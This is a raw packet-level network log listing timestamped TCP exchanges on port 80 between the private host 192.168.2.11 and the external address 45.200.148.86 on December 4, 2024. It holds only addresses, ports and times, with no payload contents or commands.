Dec 4, 2024 15:12:18.417181969 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.417298079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.417341948 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.418193102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.418422937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.418467045 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.418826103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.418940067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.418982983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.419658899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.419760942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.419792891 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.420480967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.420597076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.420636892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.421359062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.421435118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.421483994 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.422211885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.422389984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.422432899 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.423003912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.423084021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.423130989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.423837900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.423923016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.423964977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.424583912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.424799919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.424839973 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.425396919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.425513983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.425566912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.426203012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.426332951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.426373959 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.427107096 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.427212954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.427253962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.427916050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.428026915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.428064108 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.428682089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.435740948 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.581801891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.581979990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.582031965 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.582225084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.582238913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.582288980 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.583035946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.583051920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.583103895 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.583928108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.584166050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.584204912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.584640980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.584820032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.584856033 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.586767912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.586838007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.586920977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.587440014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.587718964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.587763071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.588557005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.588576078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.588618040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.589263916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.589277029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.589313030 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.590017080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.590188980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.590229988 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.590954065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.590967894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.591011047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.591850996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.591867924 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.591917992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.592633963 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.592647076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.592689991 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.593045950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.593060017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.593111992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.593473911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.593487024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.593527079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.594424009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.594438076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.594487906 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.594866991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.595048904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.595096111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.597212076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.597387075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.597431898 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.598011971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.598239899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.598285913 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.599050999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.599062920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.599100113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.599689007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.599850893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.599889994 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.600476980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.600653887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.600688934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.601344109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.601356983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.601394892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.602082014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.602251053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.602288008 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.603070021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.603240967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.603283882 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.603915930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.604195118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.604237080 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.604852915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.605012894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.605050087 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.605329990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.605627060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.605659962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.606302023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.606314898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.606349945 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.607037067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.607192993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.607232094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.607875109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.607888937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.607924938 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.608690977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.608856916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.608889103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.609654903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.609817028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.609853983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.610603094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.610615015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.610661983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.611397982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.611411095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.611455917 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.612070084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.612083912 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.612128019 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.612685919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.612838030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.612873077 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.613660097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.613811016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.613847017 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614327908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614343882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614356995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614368916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614381075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614399910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614403009 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614412069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614423990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614439011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614439964 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614475012 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614494085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614505053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614517927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614528894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614540100 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614542961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614553928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614564896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614583015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.614674091 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614825010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.614859104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.615509987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.615523100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.615561008 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.616178036 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.616189957 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.616223097 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.616846085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.616939068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.616982937 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.617819071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.618005991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.618051052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.618673086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.618685007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.618714094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.619282007 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.619394064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.619446039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.620225906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.620373964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.620414972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.620981932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.626384974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.770524979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.770673037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.770757914 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.770970106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.771167994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.771214962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.771822929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.771838903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.771892071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.772402048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.772536039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.772577047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.773322105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.773478031 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.773519039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.774240017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.774254084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.774291039 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.774890900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.774956942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.774995089 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.775643110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.775693893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.775737047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.776680946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.776834965 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.776886940 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.777467012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.777620077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.777658939 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.778187990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.778398037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.778443098 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.779256105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.779268026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.779329062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.779880047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.779891014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.779932022 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.780596018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.780688047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.780733109 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.781425953 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.781527042 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.781569958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.782440901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.782452106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.782499075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.783214092 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.783229113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.783277035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.783857107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.783991098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.784038067 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.784972906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.785154104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.785253048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.785741091 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.785919905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.785970926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.786315918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.786377907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.786461115 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.787365913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.787378073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.787427902 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.788019896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.788177967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.788213015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.788789034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.788872004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.788918018 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.789598942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.789766073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.789810896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.790420055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.790608883 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.790657997 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.791451931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.791471958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.791517019 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.792038918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.792144060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.792186022 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.793068886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.793082952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.793112040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.793893099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.794049025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.794087887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.794519901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.794646025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.794682980 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.795403004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.795506001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.795548916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.796226025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.796377897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.796421051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.797044039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.797131062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.797174931 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.798002005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.798028946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.798073053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.798835993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.798850060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.798896074 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.799688101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.799700022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.799736977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.800389051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.800806999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.800858021 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.801362991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.801376104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.801419973 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.801896095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.802033901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.802078962 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.802517891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.802623034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.802669048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.803037882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.803123951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.803164959 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.804989100 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805147886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805210114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.805356979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805363894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805406094 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:18.805476904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805593014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:18.805639029 CET	49717	80	192.168.2.11	45.200.148.86
